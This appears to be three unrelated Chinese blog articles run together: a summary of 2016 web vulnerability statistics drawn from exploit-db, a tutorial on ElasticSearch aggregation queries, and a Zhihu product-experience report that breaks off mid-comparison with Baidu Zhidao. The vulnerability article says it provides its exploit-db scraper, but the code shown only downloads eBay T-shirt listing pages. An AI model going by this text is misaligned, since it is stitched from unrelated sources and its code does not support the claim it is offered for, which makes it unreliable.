1.编写python爬虫，把2016年的web漏洞进行数据爬取（目前来说网页爬虫主流一直是python，开发效率高，代码编写简单）

2.将python爬虫爬取的数据输出到excle

3.使用excle进行二次数据梳理，统计漏洞排行、开发语言、漏洞数量

4.图表展示，使用office任何工具均可

中间过程省略，文章末尾会发放python爬虫的部分代码。

以下便是2016年度根据 https://www.exploit-db.com的数据统一出全球黑客的web漏洞“大数据”分析。

0X001各漏洞占有率

看来还是SQL注入漏洞最多，CSRF、CSS分别列第二、第三位。

0X002各漏洞对应的开发语言

还是开源的PHP问题最多，ASPX、Python的最少。

0X003每个月度的漏洞数量分布

2016年6月、10月漏洞提交数量最多，是因为黑客们放假在家无聊吗？

0X004世界黑客漏洞提交排行Top10

2016年度提交web漏洞的黑客有235人，其中有几位是中国人，以上是漏洞提交的黑客前10名，第11名与第10名并列。

0X005结尾

在文章结尾发放python爬虫源码：

       #-*-coding:utf-8-*-
  #爬取ebay网站页面，设置个数，并保存源码文件
  #适用于URL后面有固定字符+数字的网站
  import urllib 
  import urllib2 
  def getPage(url):    
     request = urllib2.Request(url) 
     response = urllib2.urlopen(request) 
     return response.read()     
  url='http://www.ebay.com/sch/TShirts-/15687/i.html?Style=Basic%2520Tee&_dcat=15687&Color=Black' 
  p=0 
  #设置爬取的页面个数为5个
  while p<5: 
     print ' =='+str(p+1)+'==start==' 
     result=getPage(url+'&_pgn='+str(p+1)) 
     txt='D:\\result'+str(p+1)+'.html' 
      f= open(txt,"w+") 
     f.write(result) 
     print ' =='+str(p+1)+'====end==' 
     p=p+1 
  f.close()

另外，数据整理可以有很多方法，给各位读者留下一个小作业，如何在爬取数据后如何进行数据整理。

文章就到这里，各位再见！2017年到了，祝各位新年快乐！

*本文作者：youyou0635，转载请注明来自FreeBuf.COM

ElasticSearch聚合分析API

Mon, 11 Apr 2016 11:18:17 CST

前言

说完了ES的索引与检索，接着再介绍一个ES高级功能API – 聚合(Aggregations)，聚合功能为ES注入了统计分析的血统，使用户在面对大数据提取统计指标时变得游刃有余。同样的工作，你在hadoop中可能需要写mapreduce或hive，在mongo中你必须得用大段的mapreduce脚本，而在ES中仅仅调用一个API就能实现了。

开始之前，提醒老司机们注意，ES原有的聚合功能Facets在新版本中将被正式被移除，抓紧时间用Aggregations替换Facets吧。Facets真的很慢！

1 关于Aggregations

Aggregations的部分特性类似于SQL语言中的group by，avg，sum等函数。但Aggregations API还提供了更加复杂的统计分析接口。

掌握Aggregations需要理解两个概念：

桶(Buckets)：符合条件的文档的集合，相当于SQL中的group by。比如，在users表中，按“地区”聚合，一个人将被分到北京桶或上海桶或其他桶里；按“性别”聚合，一个人将被分到男桶或女桶

指标(Metrics)：基于Buckets的基础上进行统计分析，相当于SQL中的count,avg,sum等。比如，按“地区”聚合，计算每个地区的人数，平均年龄等

对照一条SQL来加深我们的理解：

SELECT COUNT(color) FROM table GROUP BY color

GROUP BY相当于做分桶的工作，COUNT是统计指标。

下面介绍一些常用的Aggregations API。

2 Metrics

2.1 AVG

求均值。

GET /company/employee/_search
{
    "aggs" : {
        "avg_grade" : { "avg" : { "field" : "grade" } }
    }
}

执行结果

{
    "aggregations": {
        "avg_grade": {"value": 75}
    }
}

其他的简单统计API，如valuecount, max，min，sum作用与SQL中类似，就不一一解释了。

2.2 Cardinality

cardinality的作用是先执行类似SQL中的distinct操作，然后再统计排重后集合长度。得到的结果是一个近似值，因为考虑到在大量分片中排重的性能损耗Cardinality算法并不会load所有的数据。

{
    "aggs" : {
	"author_count" : {
	    "cardinality" : {"field" : "author"}
	}
    }
}

2.3 Stats

返回聚合分析后所有有关stat的指标。具体哪些是stat指标是ES定义的，共有5项。

{
    "aggs" : {
	"grades_stats" : { "stats" : { "field" : "grade" } }
    }
}

执行结果

{
    "aggregations": {
	"grades_stats": {
	    "count": 6,
	    "min": 60,
	    "max": 98,
	    "avg": 78.5,
	    "sum": 471
	}
    }
}

2.4 Extended Stats

返回聚合分析后所有指标，比Stats多三个统计结果：平方和、方差、标准差

{
    "aggs" : {
	"grades_stats" : { "extended_stats" : { "field" : "grade" } }
    }
}

执行结果

{
    "aggregations": {
	"grade_stats": {
	    "count": 9,
	    "min": 72,
	    "max": 99,
	    "avg": 86,
	    "sum": 774,
	    # 平方和
	    "sum_of_squares": 67028,
	    # 方差
	    "variance": 51.55555555555556,
	    # 标准差
	    "std_deviation": 7.180219742846005,
	    #平均加/减两个标准差的区间，用于可视化你的数据方差
	    "std_deviation_bounds": {
		"upper": 100.36043948569201,
		"lower": 71.63956051430799
	    }
	}
    }
}

2.5 Percentiles

百分位法统计，举例，运维人员记录了每次启动系统所需要的时间，或者，网站记录了每次用户访问的页面加载时间，然后对这些时间数据进行百分位法统计。我们在测试报告中经常会看到类似的统计数据

{
    "aggs" : {
	"load_time_outlier" : {
	    "percentiles" : {"field" : "load_time"}
	}
    }
}

结果是

{
    "aggregations": {
	"load_time_outlier": {
	    "values" : {
		"1.0": 15,
		"5.0": 20,
		"25.0": 23,
		"50.0": 25,
		"75.0": 29,
		"95.0": 60,
		"99.0": 150
	    }
	}
    }
}

加载时间在15ms内的占1%，20ms内的占5%，等等。

我们还可以指定百分位的指标，比如只想统计95%、99%、99.9%的加载时间

{
    "aggs" : {
	"load_time_outlier" : {
	    "percentiles" : {
		"field" : "load_time",
		"percents" : [95, 99, 99.9]
	    }
	}
    }
}

2.6 Percentile Ranks

Percentile API中，返回结果values中的key是固定的0-100间的值，而Percentile Ranks返回值中的value才是固定的，同样也是0到100。例如，我想知道加载时间是15ms与30ms的数据，在所有记录中处于什么水平，以这种方式反映数据在集合中的排名情况。

{
    "aggs" : {
	"load_time_outlier" : {
	    "percentile_ranks" : {
		"field" : "load_time",
		"values" : [15, 30]
	    }
	}
    }
}

执行结果

{
    "aggregations": {
	"load_time_outlier": {
	    "values" : {
		"15": 92,
		"30": 100
	    }
	}
    }
}

3 Bucket

3.1 Filter

先过滤后聚合，类似SQL中的where，也有点象group by后加having。比如

{
    "aggs" : {
	"red_products" : {
	    "filter" : { "term": { "color": "red" } },
	    "aggs" : {
		"avg_price" : { "avg" : { "field" : "price" } }
	    }
	}
    }
}

只统计红色衣服的均价。

3.2 Range

反映数据的分布情况，比如我想知道小于50，50到100，大于100的数据的个数。

{
    "aggs" : {
	"price_ranges" : {
	    "range" : {
		"field" : "price",
		"ranges" : [
		    { "to" : 50 },
		    { "from" : 50, "to" : 100 },
		    { "from" : 100 }
		]
	    }
	}
    }
}

执行结果

{
    "aggregations": {
	"price_ranges" : {
	    "buckets": [
		{"to": 50, "doc_count": 2},
		{"from": 50, "to": 100, "doc_count": 4},
		{"from": 100, "doc_count": 4}
	    ]
	}
    }
}

3.3 Missing

我们想找出price字段值为空的文档的个数。

{
    "aggs" : {
	"products_without_a_price" : {
	    "missing" : { "field" : "price" }
	}
    }
}

执行结果

{
    "aggs" : {
	"products_without_a_price" : {
	    "doc_count" : 10
	}
    }
}

3.4 Terms

针对某个字段排重后统计个数。

{
    "aggs" : {
	"genders" : {
	    "terms" : { "field" : "gender" }
	}
    }
}

执行结果

{
    "aggregations" : {
	"genders" : {
	    "doc_count_error_upper_bound": 0,
	    "sum_other_doc_count": 0,
	    "buckets" : [
		{"key" : "male","doc_count" : 10},
		{"key" : "female","doc_count" : 10},
	    ]
	}
    }
}

3.5 Date Range

针对日期型数据做分布统计。

{
    "aggs": {
	"range": {
	    "date_range": {
		"field": "date",
		"format": "MM-yyy",
	        "ranges": [
		    { "to": "now-10M/M" },
		    { "from": "now-10M/M" }
		]
	    }
	}
    }
}

这里的format参数是指定返回值的日期格式。

执行结果

{
    "aggregations": {
	"range": {
	    "buckets": [
		{"to": 1.3437792E+12, "to_as_string": "08-2012","doc_count": 7},
		{"from": 1.3437792E+12, "from_as_string": "08-2012","doc_count": 2}
	    ]
	}
    }
}

3.6 Global Aggregation

指定聚合的作用域与查询的作用域没有关联。因此返回结果中query命中的文档，与聚合的的统计结果是没有关系的。

{
    "query" : {
	"match" : { "title" : "shirt" }
    },
    "aggs" : {
	"all_products" : {
	    "global" : {},
	    "aggs" : {
		"avg_price" : { "avg" : { "field" : "price" } }
	    }
	}
    }
}

3.7 Histogram

跟range类似，不过Histogram不需要你指定统计区间，只需要提供一个间隔区间的值。好象不太好理解，看个例子就全明白了。

比如，以50元为一个区间，统计每个区间内的价格分布

{
    "aggs" : {
	"prices" : {
	    "histogram" : {
		"field" : "price",
		"interval" : 50
	    }
	}
    }
}

执行结果

{
    "aggregations": {
	"prices" : {
	    "buckets": [
		{"key": 0, "doc_count": 2},
		{"key": 50, "doc_count": 4},
		{"key": 100, "doc_count": 0},
		{"key": 150, "doc_count": 3}
	    ]
	}
    }
}

由于最高的价格没超过200元，因此最后的结果自动分为小于50，50到100，100到150，大于150共四个区间的值。

100到150区间的文档数为0个，我们想在返回结果中自动过滤该值，或者过滤偏小的值，可以添加一个参数”min_doc_count”，比如

{
    "aggs" : {
	"prices" : {
	    "histogram" : {
		"field" : "price",
		"interval" : 50,
		"min_doc_count" : 1
	    }
	}
    }
}

返回结果会自动将你设定的值以下的统计结果过滤出去。

3.8 Date Histogram

使用方法与Histogram类似，只是聚合的间隔区间是针对时间类型的字段。

{
    "aggs" : {
	"articles_over_time" : {
	    "date_histogram" : {
		"field" : "date",
		"interval" : "1M",
		"format" : "yyyy-MM-dd"
	    }
	}
    }
}

执行结果

{
    "aggregations": {
	"articles_over_time": {
	    "buckets": [
		{"key_as_string": "2013-02-02","key": 1328140800000, "doc_count": 1},
		{"key_as_string": "2013-03-02","key": 1330646400000, "doc_count": 2},
		...
	    ]
	}
    }
}

3.9 IPv4 range

由于ES是一个企业级的搜索和分析的解决方案，在做大量数据统计分析时比如用户访问行为数据，会采集用户的IP地址，类似这样的数据(还有地理位置数据等)，ES也提供了最直接的统计接口。

{
    "aggs" : {
	"ip_ranges" : {
	    "ip_range" : {
		"field" : "ip",
		"ranges" : [
		    { "to" : "10.0.0.5" },
		    { "from" : "10.0.0.5" }
		]
	    }
	}
    }
}

执行结果

{
    "aggregations": {
	"ip_ranges": {
	    "buckets" : [
		{"to": 167772165, "to_as_string": "10.0.0.5","doc_count": 4},
		{"from": 167772165,"from_as_string": "10.0.0.5","doc_count": 6}
	    ]
	}
    }
}

3.10 Return only aggregation results

在统计分析时我们有时候并不需要知道命中了哪些文档，只需要将统计的结果返回给我们。因此我们可以在request body中添加配置参数size。

curl -XGET 'http://localhost:9200/twitter/tweet/_search' -d '{
    "size": 0,
        "aggregations": {
	    "my_agg": {
	        "terms": {"field": "text"}
            }
    }
}
'

4 聚合缓存

ES中经常使用到的聚合结果集可以被缓存起来，以便更快速的系统响应。这些缓存的结果集和你掠过缓存直接查询的结果是一样的。因为，第一次聚合的条件与结果缓存起来后，ES会判断你后续使用的聚合条件，如果聚合条件不变，并且检索的数据块未增更新，ES会自动返回缓存的结果。

注意聚合结果的缓存只针对size=0的请求(参考3.10章节)，还有在聚合请求中使用了动态参数的比如Date Range中的now(参考3.5章节)，ES同样不会缓存结果，因为聚合条件是动态的，即使缓存了结果也没用了。

写在最后，截止到这篇文章，我们对ES的基础功能有了一个大概的认识了，作为一个进阶式的技术文章，我忽略了ES很多高级的功能(比如之前提到过的地理位置数据的检索统计，搜索推荐等)，留在以后慢慢补充吧。距离构建我们心目中的高级搜索平台仍有很长的路要走，让我们继续努力。

未完待续…

知乎产品体验报告：于知乎，你真的知乎？

Sun, 11 Dec 2016 18:14:29 CST

对于“知乎”，你真的知乎？一份关于“知乎”的全方位产品体验报告帮你了解知乎。

1、产品概述

1.1 体验环境

体验机型：MI 5

系统版本：6.0.1MXB48T

App版本：4.11.0

体验时间：2016.12.3-2016.12.9

体验人：Grocery

1.2 产品简介

Logo：以代表诚实、信赖、知性的蓝色为底色，以“知”字作为产品标识，特别是对其右侧的“口”做了仿对话框的改动，点明知乎是汇聚智慧的知识交流平台。

Slogan：与世界分享你的知识、经验和见解——清晰易懂的平台功能介绍。

1.3 产品定位

以大学生、办公职场人士为主要对象的中文互联网最大的知识社交平台。

1.4 目标人群

“知乎的生态基于内容输出者、内容获取者以及第三方之间的价值关系。”——by 尼古拉斯 chaos 郭。

这样看来，知乎的用户主要有以下三种类型：

1、内容输出者——内容输出者分为两类。一类是各领域的专家级人物，以互联网领域居多，作为知乎的早期用户，这类专家级人物多是社区、移动互联网领域的CEO或者创始人，还有不少经理、总裁级别的专家。另一类是有相关从业经验但还称不上专家的学习型用户；

2、内容获取者——寻求高质量专业性解答，希望成为某领域专家的小白用户；

3、第三方——有广告、招聘等引流需求的用户。

1.5 产品功能

问答（包括付费语音问答“值乎”）、专栏、知乎书店（知乎周刊、一小时、知乎盐）、在线讨论（圆桌）、话题分享（知乎Live）

2、产品详情

2.1 需求及解决方案

1、问答

（1）需求分析

用户行为：搜索、提问和回答问题，对热门回答进行分享/投票/感谢/收藏/屏蔽/评论（包括拷贝、回复、踩、赞、举报评论等）

基本需求：获得专业解答，通过经验分享打造个人IP，问答双方需要信息反馈和良性互动的渠道

深层需求：主要满足小白用户的求知欲，以及专家和“中产阶级”对尊重和自我实现的需求

（2）关键因素分解

用户体验目标：针对特定问题能在最短时间内获得高质量的解答、能快速针对自己感兴趣或领域相关且有价值的问题作出回答

担忧：搜不到对应的问题、回答质量过低、得不到对方反馈和回应、低端问题（百度知道可以解决的问题）遍布、邀请信息过多等

障碍：用户基数不够大、问题覆盖面不全、不能对用户提问内容作过多限制、对回答质量进行筛选可能加大运营成本

（3）解决方案：

在扩大用户基数方面，知乎起初招募圈子精英先玩，然后开放公众注册，通过大V的口碑营销和名人光环效应进行社会化分享推广，用户量多了，问题覆盖面也逐渐扩大；
在减少低端问题和重复性问题方面，知乎虽不强行阻拦用户提交重复问题，但对问题进行聚类和重定向；
在保证问题和回答质量方面，知乎限制每人每日提问数及回答数，建立用户自筛选、举报和主页推送机制，优化算法，让好的答案排列靠前，对“没有帮助”的回答进行折叠；
建立回答邀请模式，同时鼓励用户修改题目以获得更多关注；
完善设置，让用户自行选择想接收的信息类型（例如用户可选择只允许自己关注的人给自己发私信）。

2、专栏

（1）需求分析

用户行为：写专栏（有@功能）、对专栏文章进行点赞/赞赏/评论/收藏/分享/关注等

基本需求：让用户可以撰写笔记、发表见解和分享经验（打造个人IP）；自动推送特定主体的优质内容，降低搜索成本

深层需求：主要满足专家和“中产阶级”对尊重和自我实现的需求

（2）关键因素分解

用户体验目标：简便快捷地发布文章，能得到读者反馈、能找到感兴趣的话题

担忧：专栏内容支持格式过少编辑麻烦、写完专栏后没人看到没有反馈、找不到有趣的内容、无法保留优质内容

障碍：缺乏技术支持、“马太效应”即用户大多只关注大V、用户行业过于集中、专栏内容不够丰富、用户记性差

（3）解决方案：

从优化文字编辑开始，逐步对图片、语音和视频给予技术支持；
用户可利用@功能引起大V注意，同时知乎工作人员会定时筛选出普通用户的高质回答，放在首页推荐或知乎周刊中，增加曝光率；
邀请各行业的专业人士加入知乎专栏；
设置“收藏”和“浏览历史”功能，帮助用户轻松保留和找回优质内容。

3、知乎书店

（1）需求分析（整合价值，为优秀内容输出者提供变现渠道，以下仅考虑内容消费者）

用户行为：购买和下载电子书，进行阅读/书签/分享/点赞/评论

基本需求：找到感兴趣的电子书，阅读方便，能做标记和分享

深层需求：满足用户的求知欲、好奇心，让其获得将碎片时间都利用起来的充实感

（2）关键因素分解

用户体验目标：能找到感兴趣的书目并获得高效流畅的阅读体验

担忧：价格贵、内容不够丰富、篇幅过长、某些场景下使用不方便、买了之后才发现读不下去

障碍：用户对付费阅读有排斥心理；内容仅取自知乎问答和专栏，内容丰富度受限

（3）解决方法：

知乎周刊部分免费，收费部分定价多在3元左右，在多数人可承受范围之内；
推出“知乎周刊”、“知乎周刊Plus”“一小时”和“知乎盐”三种系列，丰富产品内容，篇幅有长有短；（注：“知乎周刊”多为时事和科技主题、“知乎周刊Plus”为结构化的技能经验合集、“一小时”为各行专业人士对一个问题的见解、“知乎盐”则属于深度行业介绍）
提供“试读”，允许用户阅览部分内容后再决定是否购买；
阅读体验方面，为用户提供“书签”和“评论”“分享”等实用功能。

4、在线讨论

（1）需求分析

用户行为：提问、回答或邀请参与活动的嘉宾回答，对动态和讨论进行关注/评论/感谢/分享/收藏/举报

基本需求：为用户和各专业领域的优质嘉宾提供和对方交流接触的途径

深层需求：满足用户的社交需求和品牌（主办方）的推广传播需求

（2）关键因素分解

用户体验目标：能与受邀嘉宾及其他用户展开高效有序的讨论和交流

担忧：提出的问题没有得到回答、讨论区变成“水区”、嘉宾都来自同一品牌、观点可能有失客观

障碍：受邀嘉宾参与积极性不高、讨论时用户言论不可预测、需要给予品牌一定的推广空间

（3）解决方法：

允许用户提问时邀请到场嘉宾或热门回答者回答问题，同时圆桌期间主持人也会将讨论区中较有价值的热门话题收录至圆桌中，提高曝光率；
在防止讨论区变成“水区”方面，主持人会做些引导，用户也可对不良内容进行举报；
邀请的嘉宾中包括来自同一领域但不同机构的专业人士。

5、话题分享

（1）需求分析（内容输出变现的新模式，以下同样只考虑内容消费者）

用户行为：赞助参与、赠送给好友、对知乎Live的内容进行赞赏/点赞/感谢/祝贺/鼓掌/收藏/评价/提问等

基本需求：高效专注的学习氛围，能有效地与播主进行实时互动交流

深层需求：满足用户的求知欲、归属感，以及尊重和自我实现的需求

（2）关键因素分解

用户体验目标：清晰、顺畅、反馈及时且无干扰的直播过程，支持多格式内容

担忧：价格贵、直播内容以语音为主不方便保存、主讲的解说容易被刷屏的问题淹没导致查找费力、提交的问题没得到答复、Live质量过低

障碍：技术问题无法支持多格式内容；问题过多主讲忙不过来

（3）解决方法：

功能刚起步，先做好语音和图文的分享，后续技术在逐步实现对PPT和小视频等格式的支持；
知乎Live最低1元起，高低由用户自选，不定时会有限时特价活动；
为用户提供“语音收藏”和“只看主讲”的功能；
知乎Live的所有听众可对直播中出现的问题表达“喜欢”，主讲根据问题“喜欢”次数的多少挑重点问题进行回答；
每场Live结束时都会邀请参与者进行评分和反馈，据此规范Live的质量。

2.2 产品分析

1、功能结构图

以下将从产品结构的清晰度和延展性两方面来评价知乎的功能结构。总体来看（左图），知乎的产品骨架比较清晰，底部共5个标签页：

“首页”的信息分为三种，顶部标签栏为搜索（重要功能）以及Live（热门子产品）的入口；中间卡片列表部分为内容推荐（包括关注人的动态、优质问答和热门Live）；局部信息块为用户活动提供入口（写文章、提问、回答）。
“发现”是对各类细分内容的推荐。
“消息”是在用户收到“通知、赞与感谢、关注”时给予用户提醒。
“私信”方便用户与知友进行交流。
“更多”的信息也分为三种，上半部分属于用户信息的记录，下半部分为其他子产品提供入口（知乎书店、知乎Live、值乎），最后还有常规设置。

知乎从最初只做问答功能，到现在已成功添加“知乎书店、知乎Live、值乎”等多个子产品，界面结构仍保持清晰简洁，由此可见知乎产品结构的延展性还是很不错的。

关于知乎的产品功能结构，我有以下的一点想法：

相比于在首页有明显入口的“知乎Live”，知乎另外两个子产品“知乎书店”和“值乎”显然藏得较深，从推广付费内容的角度讲，建议将“私信”归到“消息”菜单下，同时将“更多”中与个人记录相关的内容提出来，放在一级菜单“我的”名下，效果如上面右图所示。

撤去“私信”菜单的理由有两个，一，尽管知乎想做的是知识社交，但大部分用户上知乎主要还是为了找答案，最常用的功能是搜索、问答、评论和写文章；二，很多时候在知乎上发“私信”会有去无回（对方觉得陌生人私信是种骚扰，选择屏蔽），且“私信”不配备表情包，实际体验一般。以上两者都会减少用户打开“私信”菜单的频率，因此建议撤去。

2、核心流程分析（注：以下用粗体标出对应的功能）

（1）提问

首先，对照线下经验，提问是“一对多”的业务流程，其过程大概如下：

找到同伴——我提出一个问题——每个人发表自己的看法（没有见解的会表示支持/反对/做出评论等）——讨论——总结起来得出结论——问题解决

由于app要做的是线上“一对多”的模式，所以区别会在哪呢？

【1】要怎么“召集同伴”：由于互不相识，所以相对比较被动，主动召集只有一种方式：“邀请”，那么这里需要做的就是 推荐一些“可被邀请的人”。由于用户提问时默认面向所有对象，因此知乎定义，只要问题有人回答，就为公众所有。

【2】每个人发表看法阶段：就像线下讨论，总有几个意见领袖，有几个没想法的就对意见领袖的观点表示支持或反对，这里需要做的功能，一是让意见领袖的 回答人人可见，二是允许非意见领袖们 表达赞同、反对、举报等功能。

【3】讨论：参照线下，每人发表观点完毕，会发现存在分歧或有些值得深入探讨的点，这时候要给这群人提供的功能，一是能对每条回答都进行评论，二是更便捷的沟通方式像私信。

【4】总结得出结论：提问是为了得到结果，与线下不同，在线提问的对象是所有用户，那么根据“一万个读者就有一万个哈姆雷特”法则，统一结论是困难且非必要的，因此这里只要提供类似投票的功能，如 没有帮助，点赞，让用户自筛选高价值内容即可。

【5】最后问题解决：在现实生活中，找到一个难题的解决方法，你担心日后忘了所以你会找本东西把方法记下来，或者你会想把方法分享给朋友们。那么这里需要提供的，一个就是历史保存功能，像 我的提问，一个是分享功能。

从以上整个提问的流程来看，由于在线问答不像线下，不是多人实时互动模式，所以也许你还需要一个消息提醒，像通知，这样就允许你转移精力做别的事同时在第一时间了解问题的动态。

（2）回答

相对于提问，回答是个“多对一”的模式，其流程可以参考学生课上老师的提问：

老师提出问题——学生主动回答/老师点名回答——学生回答问题——老师点评回答，问其他同学意见

【1】老师提出问题：对应地，线上有人提交了一个新问题。

【2】学生主动回答/老师点名回答：

一个是答主主动寻找问题来回答，这时候要给他提供获取途径，像 搜索、推荐功能等。在线下，能引起学生回答兴趣的问题主要有两种，一种是有把握、能回答的问题，另一种是近期比较流行而自己也有点见解的话题。因此针对前一种我们要知道用户擅长的领域，对于后一种，考虑推荐最新的、热门的问题。另一个是答主被动受到邀请，这时要给答主提醒。

【3】学生回答问题：面对课堂上老师的提问，同学举手之前一般会打腹稿，有的可能会做点笔记。应用到线上，也可以给用户提供草稿的功能。

【4】老师点评同学回答，问其他同学意见：现实场景中，学生答完，老师会感谢同学站出来回答问题，其他同学如果还有想法会站起来补充，如果觉得他的回答很精彩，会用笔记下来，课后还会分享给其他人。这样看来，线上也可以允许用户对答主表达 感谢，收藏或评论答主的回答。

（3）专栏

对应现实中给杂志写专栏的流程，知乎“专栏文章”的发布不需要经过审核，其流程大体如下：

打草稿——修改内容、排版——发布

【1】打草稿：用纸笔写作时草稿笔记不会突然消失，而线上用户如果不注意保存草稿就会丢失。要做到像笔纸一样自动留下草稿的痕迹，此处为用户提供 自动保存的功能，同时让用户可以从随时查看草稿。

【2】修改内容、排版：杂志内容一般注重图文并茂，结构分明，类似的，线上专栏也应给支持用户 上传图片，并能 对图文的段落结构进行修改和排版。

【3】发布：对于给杂志写专栏的作者来说，尽管文章在发布前会有审核，但偶尔出现错别字或信息错漏在所难免，读者反馈问题，杂志社一般会在下一期对问题声明修正。而在线写专栏无需经过审核，问题可能更多，应为作者提供更方便快捷的修改方式。对于杂志的读者来说，喜欢一个专栏，有人会持续订阅这本杂志，喜欢一篇专栏，有人会把它给剪下来收藏，还会在朋友间进行分享。类似的，我们也可以给用户提供 订阅、收藏、分享的功能。

杂志订阅量高了，作为一种激励，作者的稿费价位也会相应提高。与之不同，在线专栏的发布没有“杂志社”作为中间人，为激励作者，可允许读者用户对优质内容进行评分和评价，因此应该提供 点赞/赞赏/评论的功能。缺少像杂志这样拥有大量受众的载体，知乎上普通用户所写专栏一开始往往关注度低，曝光率不足，为激励用户可以为其提供 @功能，让用户有机会引起大V注意从而借力传播。

总的来说，以上三个流程都具有目的性，刨去用户闲逛知乎的场景需求，以上各部分涉及的功能都能做到与业务需求一一对应，不过少也不冗余。

3、界面体验分析

（1）入口

左图为知乎首页，一眼看去有三个局部块特别显眼，一个是顶部搜索框，一个是旁边的闪电符号（用户起初不知道是知乎Live的入口，所以会去探索），以及用互补色突出的，位于右下角的黄色元件。点击黄色元件出现右边界面，该过程，元件旋转的同时，“写文章”“回答”“提问”的图标并列跳出，对应标签向左划出，同时卡片列表区出现白色遮罩层。

此处入口设计的巧妙在于：

【1】采用互补色突出元件，并将元件放置在移动端用户拇指容易触及之处，方便点击，一键找到入口。

【2】点击元件后，动态弹出入口捕捉用户视线，同时弱化背景提高对比度。

【3】受点击的黄色元件发生旋转，明确提示用户所处状态已发生变化。

（2）提问

左图由首页黄色元件弹出的“提问”入口而来，为问题撰写页面。灰白搭配的页面风格清爽干净，在这类配色相对单调的背景上，自带阴影的弹出框对弹出内容起到了恰到好处的突出。该页面的元素非常简单：灰色提示文字、水平线、发布/设置/关闭元件，用法也一目了然。右图是在“问题”一栏输入关键字后出现的页面，为减少重复问题产生，该步骤会自动弹出“相关问题”列表，引导用户查看。

此处提问设计的优点在于：

【1】背景干净，能有效突出内容。

【2】结构清晰。页面顶部是编辑“问题”的位置，采用浅灰色背景突出层次，同时通过水平线提醒用户，“问题”和“话题”是必填项，“补充说明”可选填。

【3】为避免页面元素过于单调，采用飞机图形代替“发布”按钮，形象简洁；通过将灰色水平线变为蓝色来提示用户其所在位置。

缺点在于：弹出的“相关问题”列表中，由于排版问题文字有时会与数字重叠，导致用户看不清问题，同时影响美观。建议在重叠的地方对数字另起一行。

（3）回答

左图由首页黄色元件弹出的“回答”入口而来，据前面核心流程分析，用户回答问题前要先确定擅长的领域。按照提示添加后出现中间页面，“推荐”中出现问题列表，点击“写回答”调转到第三页。前两个页面主题色采用知乎蓝，回答撰写页面采用浅灰/白色，与“提问”处保持一致。相较于“提问”页面，“撰写回答”一页的界面更为简洁，还多了@、上传图片功能以及禁止转载的设置。

此处设计的优点在于：

【1】思路清晰，用户撰写答案前要先确定擅长领域，找对问题。

【2】保持编辑页面风格前后一致，对于查找问题和撰写回答页的主题色，采用蓝色和灰色加以区分。

【3】有效地突出内容。上面前两张图都对重点信息（如“点击添加”、问题的内容和“写回答”）进行加粗或变色处理，以便突出。

需要说明的是，用户在成功提问和回答问题之后，都会默认关注该问题。因此用户有两条途径可查看提问和回答记录，一是：更多——个人主页——我的回答/提问，二是：更多——我的关注——问题。

（4）写文章

左图由首页黄色元件弹出的“写文章”入口而来，可以发现“撰写文章”和“撰写回答”不仅风格一致，功能也十分相似。不同点在于“撰写文章”新增了导入草稿的功能，但从写作方便性来看，此页基本不具备排版功能。这会增大作者检查和读者阅读的难度。

此处写文章设计的建议是：

1、左侧键盘收起功能可去掉。目前主流输入法如讯飞、百度、搜狗等都自带该功能，如上图最右侧红框所示。

2、在技术允许的情况下，在界面底部可扩展一些基础的排版功能，如撤销键/字号/加粗/项目符号（尽管只有极少数用户会用app打长文，但不同字号的标题能帮助缕清文章的结构，这对中短文来说也同样重要）

3、竞品分析

3.1 市场现状

1、行业分析

据易观数据今年12月2日发布的《中国知识付费行业发展白皮书2016》，近年来我国居民人均可支配收入快速增长，消费结构发生变化，人们对于“内容”和“知识”的付费意愿和消费逐渐发生改变，从不愿付费变得对于显著高质量、服务更好的类似产品愿意付费；同时随着移动互联网和移动支付的普及，人们的消费方式也发生了根本性的变化；人们获取信息的方式也从漫无目的地接受变为主动获取知识，信息的选择行为更为成熟。这些基础条件日渐成熟，推动知识付费行业成为新风口。

知识付费不同于出行和外卖行业“高频+刚需”的应用场景，知识交易的频率相对低且个性化程度高。但基于认知盈余分享的供给需求、用户对专业化和垂直化等优质内容的认知渴求，以及为有一技之长的个体提供闲置时间和知识技能的分享平台，知识付费行业仍存在巨大的潜在市场。

2、产品数据

2016年4月20日，ALEXA排名显示，zhihu.com成为中国第29大网站，此时距离2014年8月知乎在ALEXA中国区的排名143，仅仅过去20个月。而2016年12月8日，zhihu.com在ALEXA的排名已经晋升到23位。在移动端，根据appannie知乎iOS版本中国区排名显示，其在社交类app中国区下载量排名最近一年基本稳定在10到15位之间。知乎创始人兼CEO周源在2016年10月28日广州“知乎品牌开放日”上提到，截止至2016年9月，知乎已经拥有6000万注册用户，平均日活跃用户达1600万，人均访问时长达40分钟。目前，知乎已成为国内知识型社交的代表型产品。

3.2 竞品选择

本次选择百度知道（7.4.1版本）和简书作竞品分析对象，主要依据有两个：

本次竞品分析目的是对比功能流程，寻找优化方向；
知乎的老对手果壳目前只做了一个资讯类app，针对知乎的“问答”和“写文章”功能，分别选择同类典型产品“百度知道”和“简书”作对比分析。

3.3 竞品对比

1、功能体验分析

（1）提问（知乎VS百度知道）

相对于知乎，百度知道的“提问”入口直接放在一级菜单，同时只需用户编辑题目（标签与补充内容可不填）即可提交，该过程无需用户判断提交的问题是否有重复，问题生成后会自动生成标签，最快1s内可完成该流程。在功能支持方面，两者都支持图片和匿名，但与知乎邀请制不同，百度知道采用悬赏的方式来激励用户回答问题。从亲身体验的角度看，我觉得后者是相对高效的，试过在知乎提了一个问题，邀请了15人回答，晾了一个月没有答复，而今天百度知道给我的反馈是1分钟。可见，相比知乎，百度知道在提问便捷度和反馈速度方面略胜一筹。

但百度知道对“提问”过程的简省也带来了信息冗余的问题。用户只有在成功提交问题后才能看到“已有答案”的相关问题，假如用户重复提交一样的问题，那他就会有两条同样的提问记录。此外，百度知道的信息同步还不及时，问题得到解答时应同步更新提问记录的状态。

具体到“提问”页面，百度知道采用虚线对“题目”和“补充说明”进行分隔，同时“提交”和“取消”按钮彼此对称，逻辑清晰，整体风格也清爽干净。

（2）回答（知乎VS百度知道）

由于百度知道将“问答”入口放在首页的顶部二级菜单中，因此知乎需要点击两次才到达的页面在百度知道一步即达。进入“问答”页后，用户会看到默认有“推荐”“最新”“悬赏”三个tab的二级菜单。与知乎让用户根据自身擅长领域来选择问题不同，百度知道是让用户选择感兴趣的问题，它不强制要求用户提交感兴趣的标签，但用户提交之后会扩展二级菜单，如图所示，这样给用户推荐问题会更加灵活且有更好的针对性。此外，百度知道还为用户提供“未答问题搜索框”，方便快捷。

